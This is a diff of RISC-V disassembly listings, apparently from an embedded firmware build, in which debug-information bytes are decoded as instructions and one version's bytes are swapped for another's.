+    1db0:	0000                	unimp
+    1db2:	7274700f          	0x7274700f
+    1db6:	0100                	addi	s0,sp,128
+    1db8:	012c1b4b          	fnmsub.s	fs6,fs8,fs2,ft0,rtz
+    1dbc:	0000                	unimp
+    1dbe:	08b6                	slli	a7,a7,0xd
+    1dc0:	0000                	unimp
+    1dc2:	6e656c0f          	0x6e656c0f
+    1dc6:	0100                	addi	s0,sp,128
+    1dc8:	0029274b          	fnmsub.s	fa4,fs2,ft2,ft0,rdn
+    1dcc:	0000                	unimp
+    1dce:	0911                	addi	s2,s2,4
+    1dd0:	0000                	unimp
+    1dd2:	c810                	sw	a2,16(s0)
+    1dd4:	0001                	nop
+    1dd6:	e800                	fsw	fs0,16(s0)
+    1dd8:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+    1ddc:	584e                	lw	a6,240(sp)
+    1dde:	0000                	unimp
+    1de0:	5001                	c.li	zero,-32
+    1de2:	0001f00b          	0x1f00b
+    1de6:	4800                	lw	s0,16(s0)
+    1de8:	0009                	c.nop	2
+    1dea:	1600                	addi	s0,sp,800
+    1dec:	0000a3b7          	lui	t2,0xa
+    1df0:	5101                	li	sp,-32
+    1df2:	00003c07          	fld	fs8,0(zero) # 0 <__stack_size-0x800>
+    1df6:	6600                	flw	fs0,8(a2)
+    1df8:	0009                	c.nop	2
+    1dfa:	0000                	unimp
+    1dfc:	0c14                	addi	a3,sp,528
+    1dfe:	9a204023          	0x9a204023
+    1e02:	0005                	c.nop	1
+    1e04:	1500                	addi	s0,sp,672
+    1e06:	5a01                	li	s4,-32
+    1e08:	5a01f303          	0x5a01f303
+    1e0c:	0000                	unimp
+    1e0e:	e10d                	bnez	a0,1e30 <__stack_size+0x1630>
+    1e10:	00a4                	addi	s1,sp,72
+    1e12:	0100                	addi	s0,sp,128
+    1e14:	0538                	addi	a4,sp,648
+    1e16:	003c                	addi	a5,sp,8
+    1e18:	0000                	unimp
+    1e1a:	22d0                	fld	fa2,128(a3)
+    1e1c:	2040                	fld	fs0,128(s0)
+    1e1e:	002e                	c.slli	zero,0xb
     1e20:	0000                	unimp
-    1e22:	001a                	c.slli	zero,0x6
-    1e24:	0000                	unimp
-    1e26:	0328                	addi	a0,sp,392
-    1e28:	0000                	unimp
-    1e2a:	0000                	unimp
-    1e2c:	0000                	unimp
-    1e2e:	2816                	fld	fa6,320(sp)
-    1e30:	0000                	unimp
-    1e32:	2941                	jal	22c2 <__stack_size+0x1ac2>
-    1e34:	0000                	unimp
-    1e36:	ba02                	fsd	ft0,304(sp)
-    1e38:	007d                	c.nop	31
-    1e3a:	0200                	addi	s0,sp,256
-    1e3c:	17d1                	addi	a5,a5,-12
-    1e3e:	0035                	c.nop	13
-    1e40:	0000                	unimp
-    1e42:	64070403          	lb	s0,1600(a4)
-    1e46:	0071                	c.nop	28
-    1e48:	0400                	addi	s0,sp,512
-    1e4a:	0504                	addi	s1,sp,640
-    1e4c:	6e69                	lui	t3,0x1a
-    1e4e:	0074                	addi	a3,sp,12
-    1e50:	e4050803          	lb	a6,-448(a0)
-    1e54:	0300008f          	0x300008f
-    1e58:	0410                	addi	a2,sp,512
-    1e5a:	9196                	add	gp,gp,t0
-    1e5c:	0000                	unimp
-    1e5e:	ea060103          	lb	sp,-352(a2)
-    1e62:	007e                	c.slli	zero,0x1f
-    1e64:	0200                	addi	s0,sp,256
-    1e66:	04f4                	addi	a3,sp,588
-    1e68:	0000                	unimp
-    1e6a:	64182b03          	lw	s6,1601(a6) # fffe0641 <_heap_end+0x7ffd1e41>
-    1e6e:	0000                	unimp
-    1e70:	0300                	addi	s0,sp,384
-    1e72:	0801                	addi	a6,a6,0
-    1e74:	1439                	addi	s0,s0,-18
+    1e22:	9c01                	0x9c01
+    1e24:	045f 0000 700e      	0x700e0000045f
+    1e2a:	0020                	addi	s0,sp,8
+    1e2c:	0100                	addi	s0,sp,128
+    1e2e:	1738                	addi	a4,sp,936
+    1e30:	013e                	slli	sp,sp,0xf
+    1e32:	0000                	unimp
+    1e34:	0984                	addi	s1,sp,208
+    1e36:	0000                	unimp
+    1e38:	6c0e                	flw	fs8,192(sp)
+    1e3a:	00a4                	addi	s1,sp,72
+    1e3c:	0100                	addi	s0,sp,128
+    1e3e:	2138                	fld	fa4,64(a0)
+    1e40:	003c                	addi	a5,sp,8
+    1e42:	0000                	unimp
+    1e44:	09a5                	addi	s3,s3,9
+    1e46:	0000                	unimp
+    1e48:	ea0e                	fsw	ft3,20(sp)
+    1e4a:	00a4                	addi	s1,sp,72
+    1e4c:	0100                	addi	s0,sp,128
+    1e4e:	2c38                	fld	fa4,88(s0)
+    1e50:	003c                	addi	a5,sp,8
+    1e52:	0000                	unimp
+    1e54:	09c6                	slli	s3,s3,0x11
+    1e56:	0000                	unimp
+    1e58:	de14                	sw	a3,56(a2)
+    1e5a:	4022                	0x4022
+    1e5c:	a620                	fsd	fs0,72(a2)
+    1e5e:	0005                	c.nop	1
+    1e60:	1500                	addi	s0,sp,672
+    1e62:	5a01                	li	s4,-32
+    1e64:	5a01f303          	0x5a01f303
+    1e68:	0115                	addi	sp,sp,5
+    1e6a:	4803055b          	0x4803055b
+    1e6e:	0020403f a4f70d00 	0xa4f70d000020403f
     1e76:	0000                	unimp
-    1e78:	54050203          	lb	tp,1344(a0)
-    1e7c:	03000037          	lui	zero,0x3000
-    1e80:	0702                	c.slli64	a4
-    1e82:	9b7a                	add	s6,s6,t5
+    1e78:	3101                	jal	1a78 <__stack_size+0x1278>
+    1e7a:	3c05                	jal	18aa <__stack_size+0x10aa>
+    1e7c:	0000                	unimp
+    1e7e:	cc00                	sw	s0,24(s0)
+    1e80:	4022                	0x4022
+    1e82:	0420                	addi	s0,sp,520
     1e84:	0000                	unimp
-    1e86:	5c050403          	lb	s0,1472(a0)
-    1e8a:	0050                	addi	a2,sp,4
-    1e8c:	0200                	addi	s0,sp,256
-    1e8e:	00002727          	fsw	ft0,14(zero) # e <__stack_size-0x7f2>
-    1e92:	8c194f03          	lbu	t5,-1855(s2) # fffe08c1 <_heap_end+0x7ffd20c1>
+    1e86:	0100                	addi	s0,sp,128
+    1e88:	a69c                	fsd	fa5,8(a3)
+    1e8a:	0004                	0x4
+    1e8c:	0e00                	addi	s0,sp,784
+    1e8e:	a472                	fsd	ft8,8(sp)
+    1e90:	0000                	unimp
+    1e92:	3101                	jal	1a92 <__stack_size+0x1292>
+    1e94:	3c10                	fld	fa2,56(s0)
     1e96:	0000                	unimp
-    1e98:	0300                	addi	s0,sp,384
-    1e9a:	0704                	addi	s1,sp,896
-    1e9c:	6514                	flw	fa3,8(a0)
-    1e9e:	0000                	unimp
-    1ea0:	a1070803          	lb	a6,-1520(a4)
-    1ea4:	0006                	c.slli	zero,0x1
-    1ea6:	0200                	addi	s0,sp,256
-    1ea8:	9746                	add	a4,a4,a7
-    1eaa:	0000                	unimp
-    1eac:	431ec803          	lbu	a6,1073(t4)
-    1eb0:	0000                	unimp
-    1eb2:	0200                	addi	s0,sp,256
-    1eb4:	a2b4                	fsd	fa3,64(a3)
-    1eb6:	0000                	unimp
-    1eb8:	1e04                	addi	s1,sp,816
-    1eba:	790e                	flw	fs2,224(sp)
-    1ebc:	0000                	unimp
-    1ebe:	0200                	addi	s0,sp,256
-    1ec0:	0000a24f          	fnmadd.s	ft4,ft1,ft0,ft0,rdn
-    1ec4:	2204                	fld	fs1,0(a2)
-    1ec6:	790e                	flw	fs2,224(sp)
-    1ec8:	0000                	unimp
-    1eca:	0200                	addi	s0,sp,256
-    1ecc:	a2f8                	fsd	fa4,192(a3)
-    1ece:	0000                	unimp
-    1ed0:	2e04                	fld	fs1,24(a2)
-    1ed2:	790e                	flw	fs2,224(sp)
-    1ed4:	0000                	unimp
-    1ed6:	0200                	addi	s0,sp,256
-    1ed8:	a230                	fsd	fa2,64(a2)
-    1eda:	0000                	unimp
-    1edc:	3804                	fld	fs1,48(s0)
-    1ede:	00006b0f          	0x6b0f
-    1ee2:	0200                	addi	s0,sp,256
-    1ee4:	a31c                	fsd	fa5,0(a4)
-    1ee6:	0000                	unimp
-    1ee8:	3c04                	fld	fs1,56(s0)
-    1eea:	7218                	flw	fa4,32(a2)
-    1eec:	0000                	unimp
-    1eee:	0200                	addi	s0,sp,256
-    1ef0:	a208                	fsd	fa0,0(a2)
-    1ef2:	0000                	unimp
-    1ef4:	3f04                	fld	fs1,56(a4)
-    1ef6:	7218                	flw	fa4,32(a2)
-    1ef8:	0000                	unimp
-    1efa:	0200                	addi	s0,sp,256
-    1efc:	a2c5                	j	20dc <__stack_size+0x18dc>
-    1efe:	0000                	unimp
-    1f00:	4b04                	lw	s1,16(a4)
-    1f02:	7218                	flw	fa4,32(a2)
-    1f04:	0000                	unimp
-    1f06:	0200                	addi	s0,sp,256
-    1f08:	a290                	fsd	fa2,0(a3)
-    1f0a:	0000                	unimp
-    1f0c:	5a04                	lw	s1,48(a2)
-    1f0e:	8014                	0x8014
-    1f10:	0000                	unimp
-    1f12:	0200                	addi	s0,sp,256
-    1f14:	0000a2f7          	0xa2f7
-    1f18:	6604                	flw	fs1,8(a2)
-    1f1a:	be10                	fsd	fa2,56(a2)
-    1f1c:	0000                	unimp
-    1f1e:	0200                	addi	s0,sp,256
-    1f20:	000092ef          	jal	t0,af20 <__stack_size+0xa720>
-    1f24:	9304                	0x9304
-    1f26:	00003c17          	auipc	s8,0x3
-    1f2a:	0500                	addi	s0,sp,640
-    1f2c:	0204                	addi	s1,sp,256
-    1f2e:	a332                	fsd	fa2,384(sp)
-    1f30:	0000                	unimp
-    1f32:	d104                	sw	s1,32(a0)
-    1f34:	7218                	flw	fa4,32(a2)
-    1f36:	0000                	unimp
-    1f38:	0600                	addi	s0,sp,768
-    1f3a:	3204                	fld	fs1,32(a2)
-    1f3c:	0001                	nop
-    1f3e:	0300                	addi	s0,sp,384
-    1f40:	0801                	addi	a6,a6,0
-    1f42:	7ef1                	lui	t4,0xffffc
-    1f44:	0000                	unimp
-    1f46:	00013207          	fld	ft4,0(sp)
-    1f4a:	0600                	addi	s0,sp,768
-    1f4c:	3904                	fld	fs1,48(a0)
-    1f4e:	0001                	nop
-    1f50:	0600                	addi	s0,sp,768
-    1f52:	4a04                	lw	s1,16(a2)
-    1f54:	0001                	nop
-    1f56:	0800                	addi	s0,sp,16
-    1f58:	f602                	fsw	ft0,44(sp)
-    1f5a:	0004                	0x4
-    1f5c:	0500                	addi	s0,sp,640
-    1f5e:	1318                	addi	a4,sp,416
-    1f60:	0058                	addi	a4,sp,4
+    1e98:	e700                	fsw	fs0,8(a4)
+    1e9a:	0009                	c.nop	2
+    1e9c:	1700                	addi	s0,sp,928
+    1e9e:	7470                	flw	fa2,108(s0)
+    1ea0:	0072                	c.slli	zero,0x1c
+    1ea2:	3101                	jal	1aa2 <__stack_size+0x12a2>
+    1ea4:	c01c                	sw	a5,0(s0)
+    1ea6:	0001                	nop
+    1ea8:	0100                	addi	s0,sp,128
+    1eaa:	6964175b          	0x6964175b
+    1eae:	0072                	c.slli	zero,0x1c
+    1eb0:	3101                	jal	1ab0 <__stack_size+0x12b0>
+    1eb2:	3c25                	jal	18ea <__stack_size+0x10ea>
+    1eb4:	0000                	unimp
+    1eb6:	0100                	addi	s0,sp,128
+    1eb8:	005c                	addi	a5,sp,4
+    1eba:	1a0d                	addi	s4,s4,-29
+    1ebc:	00a4                	addi	s1,sp,72
+    1ebe:	0100                	addi	s0,sp,128
+    1ec0:	0529                	addi	a0,a0,10
+    1ec2:	003c                	addi	a5,sp,8
+    1ec4:	0000                	unimp
+    1ec6:	22c6                	fld	ft5,80(sp)
+    1ec8:	2040                	fld	fs0,128(s0)
+    1eca:	0006                	c.slli	zero,0x1
+    1ecc:	0000                	unimp
+    1ece:	9c01                	0x9c01
+    1ed0:	04d1                	addi	s1,s1,20
+    1ed2:	0000                	unimp
+    1ed4:	720e                	flw	ft4,224(sp)
+    1ed6:	00a4                	addi	s1,sp,72
+    1ed8:	0100                	addi	s0,sp,128
+    1eda:	1129                	addi	sp,sp,-22
+    1edc:	003c                	addi	a5,sp,8
+    1ede:	0000                	unimp
+    1ee0:	0a08                	addi	a0,sp,272
+    1ee2:	0000                	unimp
+    1ee4:	0d00                	addi	s0,sp,656
+    1ee6:	a492                	fsd	ft4,72(sp)
+    1ee8:	0000                	unimp
+    1eea:	1a01                	addi	s4,s4,-32
+    1eec:	1e08                	addi	a0,sp,816
+    1eee:	0001                	nop
+    1ef0:	a400                	fsd	fs0,8(s0)
+    1ef2:	4022                	0x4022
+    1ef4:	2220                	fld	fs0,64(a2)
+    1ef6:	0000                	unimp
+    1ef8:	0100                	addi	s0,sp,128
+    1efa:	269c                	fld	fa5,8(a3)
+    1efc:	0005                	c.nop	1
+    1efe:	0e00                	addi	s0,sp,784
+    1f00:	0000a4af          	amoadd.w	s1,zero,(ra)
+    1f04:	1a01                	addi	s4,s4,-32
+    1f06:	3c12                	fld	fs8,288(sp)
+    1f08:	0000                	unimp
+    1f0a:	2900                	fld	fs0,16(a0)
+    1f0c:	000a                	c.slli	zero,0x2
+    1f0e:	1800                	addi	s0,sp,48
+    1f10:	a3fe                	fsd	ft11,448(sp)
+    1f12:	0000                	unimp
+    1f14:	1d01                	addi	s10,s10,-32
+    1f16:	260e                	fld	fa2,192(sp)
+    1f18:	0005                	c.nop	1
+    1f1a:	1800                	addi	s0,sp,48
+    1f1c:	a3f9                	j	24ea <__stack_size+0x1cea>
+    1f1e:	0000                	unimp
+    1f20:	1e01                	addi	t3,t3,-32
+    1f22:	260e                	fld	fa2,192(sp)
+    1f24:	0005                	c.nop	1
+    1f26:	1900                	addi	s0,sp,176
+    1f28:	a4a0                	fsd	fs0,72(s1)
+    1f2a:	0000                	unimp
+    1f2c:	1f01                	addi	t5,t5,-32
+    1f2e:	00012c0f          	0x12c0f
+    1f32:	0500                	addi	s0,sp,640
+    1f34:	00d87003          	0xd87003
+    1f38:	0080                	addi	s0,sp,64
+    1f3a:	0001320b          	0x1320b
+    1f3e:	3100                	fld	fs0,32(a0)
+    1f40:	0005                	c.nop	1
+    1f42:	1a00                	addi	s0,sp,304
+    1f44:	0d00                	addi	s0,sp,656
+    1f46:	a4d2                	fsd	fs4,72(sp)
+    1f48:	0000                	unimp
+    1f4a:	1201                	addi	tp,tp,-32
+    1f4c:	3c05                	jal	197c <__stack_size+0x117c>
+    1f4e:	0000                	unimp
+    1f50:	9c00                	0x9c00
+    1f52:	4022                	0x4022
+    1f54:	0820                	addi	s0,sp,24
+    1f56:	0000                	unimp
+    1f58:	0100                	addi	s0,sp,128
+    1f5a:	699c                	flw	fa5,16(a1)
+    1f5c:	0005                	c.nop	1
+    1f5e:	0e00                	addi	s0,sp,784
+    1f60:	a472                	fsd	ft8,8(sp)
     1f62:	0000                	unimp
-    1f64:	00014b07          	flq	fs6,0(sp)
-    1f68:	0200                	addi	s0,sp,256
-    1f6a:	2729                	jal	2674 <__stack_size+0x1e74>
-    1f6c:	0000                	unimp
-    1f6e:	3005                	jal	178e <__stack_size+0xf8e>
-    1f70:	8014                	0x8014
-    1f72:	0000                	unimp
-    1f74:	0200                	addi	s0,sp,256
-    1f76:	a218                	fsd	fa4,0(a2)
+    1f64:	1201                	addi	tp,tp,-32
+    1f66:	3c10                	fld	fa2,56(s0)
+    1f68:	0000                	unimp
+    1f6a:	5500                	lw	s0,40(a0)
+    1f6c:	000a                	c.slli	zero,0x2
+    1f6e:	1700                	addi	s0,sp,928
+    1f70:	01007473          	csrrci	s0,0x10,0
+    1f74:	2312                	fld	ft6,256(sp)
+    1f76:	0569                	addi	a0,a0,26
     1f78:	0000                	unimp
-    1f7a:	2a06                	fld	fs4,64(sp)
-    1f7c:	9a12                	add	s4,s4,tp
-    1f7e:	0000                	unimp
-    1f80:	0900                	addi	s0,sp,144
-    1f82:	a2ee                	fsd	fs11,320(sp)
-    1f84:	0000                	unimp
-    1f86:	0710                	addi	a2,sp,896
-    1f88:	019c082f          	0x19c082f
+    1f7a:	5b01                	li	s6,-32
+    1f7c:	0600                	addi	s0,sp,768
+    1f7e:	1404                	addi	s1,sp,544
+    1f80:	0002                	c.slli64	zero
+    1f82:	0d00                	addi	s0,sp,656
+    1f84:	a440                	fsd	fs0,136(s0)
+    1f86:	0000                	unimp
+    1f88:	0b01                	addi	s6,s6,0
+    1f8a:	3c05                	jal	19ba <__stack_size+0x11ba>
     1f8c:	0000                	unimp
-    1f8e:	820a                	mv	tp,sp
-    1f90:	0091                	addi	ra,ra,4
-    1f92:	0700                	addi	s0,sp,896
-    1f94:	0930                	addi	a2,sp,152
-    1f96:	0168                	addi	a0,sp,140
-    1f98:	0000                	unimp
-    1f9a:	0a00                	addi	s0,sp,272
-    1f9c:	a306                	fsd	ft1,384(sp)
-    1f9e:	0000                	unimp
-    1fa0:	79073107          	fld	ft2,1936(a4)
-    1fa4:	0000                	unimp
-    1fa6:	0800                	addi	s0,sp,16
-    1fa8:	0200                	addi	s0,sp,256
-    1faa:	a2b6                	fsd	fa3,320(sp)
+    1f8e:	9800                	0x9800
+    1f90:	4022                	0x4022
+    1f92:	0420                	addi	s0,sp,520
+    1f94:	0000                	unimp
+    1f96:	0100                	addi	s0,sp,128
+    1f98:	9a9c                	0x9a9c
+    1f9a:	0005                	c.nop	1
+    1f9c:	0e00                	addi	s0,sp,784
+    1f9e:	a472                	fsd	ft8,8(sp)
+    1fa0:	0000                	unimp
+    1fa2:	0b01                	addi	s6,s6,0
+    1fa4:	3c10                	fld	fa2,56(s0)
+    1fa6:	0000                	unimp
+    1fa8:	7600                	flw	fs0,40(a2)
+    1faa:	000a                	c.slli	zero,0x2
     1fac:	0000                	unimp
-    1fae:	6108                	flw	fa0,0(a0)
-    1fb0:	a614                	fsd	fa3,8(a2)
-    1fb2:	0000                	unimp
-    1fb4:	0200                	addi	s0,sp,256
-    1fb6:	a251                	j	213a <__stack_size+0x193a>
-    1fb8:	0000                	unimp
-    1fba:	6608                	flw	fa0,8(a2)
-    1fbc:	b215                	j	18e0 <__stack_size+0x10e0>
-    1fbe:	0000                	unimp
-    1fc0:	0200                	addi	s0,sp,256
-    1fc2:	0000a2c7          	fmsub.s	ft5,ft1,ft0,ft0,rdn
-    1fc6:	8b08                	0x8b08
-    1fc8:	ee12                	fsw	ft4,28(sp)
-    1fca:	0000                	unimp
-    1fcc:	0200                	addi	s0,sp,256
-    1fce:	a2f9                	j	219c <__stack_size+0x199c>
-    1fd0:	0000                	unimp
-    1fd2:	9d08                	0x9d08
-    1fd4:	0612                	slli	a2,a2,0x4
-    1fd6:	0001                	nop
-    1fd8:	0200                	addi	s0,sp,256
-    1fda:	a232                	fsd	fa2,256(sp)
-    1fdc:	0000                	unimp
-    1fde:	a108                	fsd	fa0,0(a0)
-    1fe0:	ca12                	sw	tp,20(sp)
-    1fe2:	0000                	unimp
-    1fe4:	0200                	addi	s0,sp,256
-    1fe6:	a31e                	fsd	ft7,384(sp)
-    1fe8:	0000                	unimp
-    1fea:	a508                	fsd	fa0,8(a0)
-    1fec:	d612                	sw	tp,44(sp)
-    1fee:	0000                	unimp
-    1ff0:	0200                	addi	s0,sp,256
-    1ff2:	a20a                	fsd	ft2,256(sp)
-    1ff4:	0000                	unimp
-    1ff6:	a908                	fsd	fa0,16(a0)
-    1ff8:	e212                	fsw	ft4,4(sp)
-    1ffa:	0000                	unimp
-    1ffc:	0200                	addi	s0,sp,256
-    1ffe:	92f0                	0x92f0
-    2000:	0000                	unimp
-    2002:	b808                	fsd	fa0,48(s0)
-    2004:	1212                	slli	tp,tp,0x24
-    2006:	0001                	nop
-    2008:	0200                	addi	s0,sp,256
-    200a:	a292                	fsd	ft4,320(sp)
-    200c:	0000                	unimp
-    200e:	bd08                	fsd	fa0,56(a0)
-    2010:	fa12                	fsw	ft4,52(sp)
-    2012:	0000                	unimp
-    2014:	0200                	addi	s0,sp,256
-    2016:	a334                	fsd	fa3,64(a4)
-    2018:	0000                	unimp
-    201a:	c208                	sw	a0,0(a2)
-    201c:	00012013          	slti	zero,sp,0
-    2020:	0900                	addi	s0,sp,144
-    2022:	a301                	j	2522 <__stack_size+0x1d22>
-    2024:	0000                	unimp
-    2026:	0958                	addi	a4,sp,148
-    2028:	02d8081b          	0x2d8081b
-    202c:	0000                	unimp
-    202e:	e70a                	fsw	ft2,140(sp)
-    2030:	00a2                	slli	ra,ra,0x8
-    2032:	0900                	addi	s0,sp,144
-    2034:	0a1d                	addi	s4,s4,7
-    2036:	01cc                	addi	a1,sp,196
-    2038:	0000                	unimp
-    203a:	0a00                	addi	s0,sp,272
-    203c:	0000a32b          	0xa32b
-    2040:	1e09                	addi	t3,t3,-30
-    2042:	b40a                	fsd	ft2,40(sp)
-    2044:	0001                	nop
-    2046:	0200                	addi	s0,sp,256
-    2048:	140a                	slli	s0,s0,0x22
-    204a:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
-    204e:	0a1f 01fc 0000      	0x1fc0a1f
-    2054:	0a04                	addi	s1,sp,272
-    2056:	a2a4                	fsd	fs1,64(a3)
-    2058:	0000                	unimp
-    205a:	2009                	jal	205c <__stack_size+0x185c>
-    205c:	0002080b          	0x2080b
-    2060:	0800                	addi	s0,sp,16
-    2062:	400a                	0x400a
-    2064:	00a2                	slli	ra,ra,0x8
-    2066:	0900                	addi	s0,sp,144
-    2068:	0a21                	addi	s4,s4,8
-    206a:	01d8                	addi	a4,sp,196
-    206c:	0000                	unimp
-    206e:	0a0a                	slli	s4,s4,0x2
-    2070:	a2ad                	j	21da <__stack_size+0x19da>
-    2072:	0000                	unimp
-    2074:	2209                	jal	2176 <__stack_size+0x1976>
-    2076:	e40a                	fsw	ft2,8(sp)
-    2078:	0001                	nop
-    207a:	0c00                	addi	s0,sp,528
-    207c:	650a                	flw	fa0,128(sp)
-    207e:	00a2                	slli	ra,ra,0x8
-    2080:	0900                	addi	s0,sp,144
-    2082:	01cc0a23          	sb	t3,20(s8) # 4f3a <__stack_size+0x473a>
-    2086:	0000                	unimp
-    2088:	0a0e                	slli	s4,s4,0x3
-    208a:	a238                	fsd	fa4,64(a2)
-    208c:	0000                	unimp
-    208e:	2409                	jal	2290 <__stack_size+0x1a90>
-    2090:	c00a                	sw	sp,0(sp)
-    2092:	0001                	nop
-    2094:	1000                	addi	s0,sp,32
-    2096:	3c0a                	fld	fs8,160(sp)
-    2098:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
-    209c:	132a                	slli	t1,t1,0x2a
-    209e:	0174                	addi	a3,sp,140
-    20a0:	0000                	unimp
-    20a2:	0a18                	addi	a4,sp,272
-    20a4:	a210                	fsd	fa2,0(a2)
-    20a6:	0000                	unimp
-    20a8:	2b09                	jal	25ba <__stack_size+0x1dba>
-    20aa:	00017413          	andi	s0,sp,0
-    20ae:	2800                	fld	fs0,16(s0)
-    20b0:	eb0a                	fsw	ft2,148(sp)
-    20b2:	00a1                	addi	ra,ra,8
-    20b4:	0900                	addi	s0,sp,144
-    20b6:	132c                	addi	a1,sp,424
-    20b8:	0174                	addi	a3,sp,140
-    20ba:	0000                	unimp
-    20bc:	0a38                	addi	a4,sp,280
-    20be:	0000a1f3          	csrrs	gp,ustatus,ra
-    20c2:	2d09                	jal	26d4 <__stack_size+0x1ed4>
-    20c4:	a811                	j	20d8 <__stack_size+0x18d8>
-    20c6:	0001                	nop
-    20c8:	4800                	lw	s0,16(s0)
-    20ca:	fe0a                	fsw	ft2,60(sp)
-    20cc:	00a1                	addi	ra,ra,8
-    20ce:	0900                	addi	s0,sp,144
-    20d0:	0c2e                	slli	s8,s8,0xb
-    20d2:	019c                	addi	a5,sp,192
-    20d4:	0000                	unimp
-    20d6:	0a4c                	addi	a1,sp,276
-    20d8:	0000a25b          	0xa25b
-    20dc:	3009                	jal	18de <__stack_size+0x10de>
-    20de:	d809                	beqz	s0,1ff0 <__stack_size+0x17f0>
-    20e0:	0002                	c.slli64	zero
-    20e2:	5000                	lw	s0,32(s0)
-    20e4:	0b00                	addi	s0,sp,400
-    20e6:	0079                	c.nop	30
-    20e8:	0000                	unimp
-    20ea:	02e8                	addi	a0,sp,332
-    20ec:	0000                	unimp
-    20ee:	350c                	fld	fa1,40(a0)
-    20f0:	0000                	unimp
-    20f2:	0100                	addi	s0,sp,128
-    20f4:	0d00                	addi	s0,sp,656
-    20f6:	a21f 0000 5f01      	0x5f010000a21f
-    20fc:	2908                	fld	fa0,16(a0)
-    20fe:	0000                	unimp
-    2100:	c000                	sw	s0,0(s0)
-    2102:	5420402b          	0x5420402b
-    2106:	0000                	unimp
-    2108:	0100                	addi	s0,sp,128
-    210a:	6e9c                	flw	fa5,24(a3)
-    210c:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
-    2110:	a29f 0000 5f01      	0x5f010000a29f
-    2116:	00003c13          	sltiu	s8,zero,0
-    211a:	9000                	0x9000
-    211c:	000d                	c.nop	3
-    211e:	0f00                	addi	s0,sp,912
-    2120:	7470                	flw	fa2,108(s0)
-    2122:	0072                	c.slli	zero,0x1c
-    2124:	5f01                	li	t5,-32
-    2126:	4425                	li	s0,9
-    2128:	0001                	nop
-    212a:	b100                	fsd	fs0,32(a0)
-    212c:	000d                	c.nop	3
-    212e:	0f00                	addi	s0,sp,912
-    2130:	656c                	flw	fa1,76(a0)
-    2132:	006e                	c.slli	zero,0x1b
-    2134:	5f01                	li	t5,-32
-    2136:	2931                	jal	2552 <__stack_size+0x1d52>
-    2138:	0000                	unimp
-    213a:	e800                	fsw	fs0,16(s0)
-    213c:	000d                	c.nop	3
-    213e:	1000                	addi	s0,sp,32
-    2140:	0310                	addi	a2,sp,384
-    2142:	0000                	unimp
-    2144:	035c                	addi	a5,sp,388
-    2146:	0000                	unimp
-    2148:	d711                	beqz	a4,2054 <__stack_size+0x1854>
-    214a:	00a2                	slli	ra,ra,0x8
-    214c:	0100                	addi	s0,sp,128
-    214e:	1364                	addi	s1,sp,428
-    2150:	036e                	slli	t1,t1,0x1b
-    2152:	0000                	unimp
-    2154:	1012                	c.slli	zero,0x24
-    2156:	13000003          	lb	zero,304(zero) # 130 <__stack_size-0x6d0>
-    215a:	0069                	c.nop	26
-    215c:	6601                	0x6601
-    215e:	0000290f          	0x290f
-    2162:	2d00                	fld	fs0,24(a0)
-    2164:	000e                	c.slli	zero,0x3
-    2166:	0000                	unimp
-    2168:	1400                	addi	s0,sp,544
-    216a:	2bd0                	fld	fa2,144(a5)
-    216c:	2040                	fld	fs0,128(s0)
-    216e:	059a                	slli	a1,a1,0x6
-    2170:	0000                	unimp
-    2172:	0115                	addi	sp,sp,5
-    2174:	035a                	slli	t1,t1,0x16
-    2176:	005a01f3          	0x5a01f3
-    217a:	0600                	addi	s0,sp,768
-    217c:	5704                	lw	s1,40(a4)
-    217e:	0001                	nop
-    2180:	0d00                	addi	s0,sp,656
-    2182:	a2e1                	j	234a <__stack_size+0x1b4a>
-    2184:	0000                	unimp
-    2186:	4b01                	li	s6,0
-    2188:	3c05                	jal	1bb8 <__stack_size+0x13b8>
-    218a:	0000                	unimp
-    218c:	8400                	0x8400
-    218e:	3c20402b          	0x3c20402b
-    2192:	0000                	unimp
-    2194:	0100                	addi	s0,sp,128
-    2196:	fa9c                	fsw	fa5,48(a3)
-    2198:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
-    219c:	a29f 0000 4b01      	0x4b010000a29f
-    21a2:	00003c0f          	0x3c0f
-    21a6:	7700                	flw	fs0,40(a4)
-    21a8:	000e                	c.slli	zero,0x3
-    21aa:	0f00                	addi	s0,sp,912
-    21ac:	7470                	flw	fa2,108(s0)
-    21ae:	0072                	c.slli	zero,0x1c
-    21b0:	4b01                	li	s6,0
-    21b2:	00012c1b          	0x12c1b
-    21b6:	9800                	0x9800
-    21b8:	000e                	c.slli	zero,0x3
-    21ba:	0f00                	addi	s0,sp,912
-    21bc:	656c                	flw	fa1,76(a0)
-    21be:	006e                	c.slli	zero,0x1b
-    21c0:	4b01                	li	s6,0
-    21c2:	00002927          	fsw	ft0,18(zero) # 12 <__stack_size-0x7ee>
-    21c6:	f300                	fsw	fs0,32(a4)
-    21c8:	000e                	c.slli	zero,0x3
-    21ca:	1000                	addi	s0,sp,32
-    21cc:	02f8                	addi	a4,sp,332
-    21ce:	0000                	unimp
-    21d0:	03e8                	addi	a0,sp,460
-    21d2:	0000                	unimp
-    21d4:	1f16                	slli	t5,t5,0x25
-    21d6:	01000057          	0x1000057
-    21da:	0b50                	addi	a2,sp,404
-    21dc:	01f0                	addi	a2,sp,204
-    21de:	0000                	unimp
-    21e0:	0f2a                	slli	t5,t5,0xa
-    21e2:	0000                	unimp
-    21e4:	e416                	fsw	ft5,8(sp)
-    21e6:	00a1                	addi	ra,ra,8
-    21e8:	0100                	addi	s0,sp,128
-    21ea:	0751                	addi	a4,a4,20
-    21ec:	003c                	addi	a5,sp,8
-    21ee:	0000                	unimp
-    21f0:	0f48                	addi	a0,sp,916
-    21f2:	0000                	unimp
-    21f4:	1400                	addi	s0,sp,544
-    21f6:	2b94                	fld	fa3,16(a5)
-    21f8:	2040                	fld	fs0,128(s0)
-    21fa:	059a                	slli	a1,a1,0x6
-    21fc:	0000                	unimp
-    21fe:	0115                	addi	sp,sp,5
-    2200:	035a                	slli	t1,t1,0x16
-    2202:	005a01f3          	0x5a01f3
-    2206:	0d00                	addi	s0,sp,656
-    2208:	a30e                	fsd	ft3,384(sp)
-    220a:	0000                	unimp
-    220c:	3801                	jal	1a1c <__stack_size+0x121c>
-    220e:	3c05                	jal	1c3e <__stack_size+0x143e>
-    2210:	0000                	unimp
-    2212:	5400                	lw	s0,40(s0)
-    2214:	3020402b          	0x3020402b
-    2218:	0000                	unimp
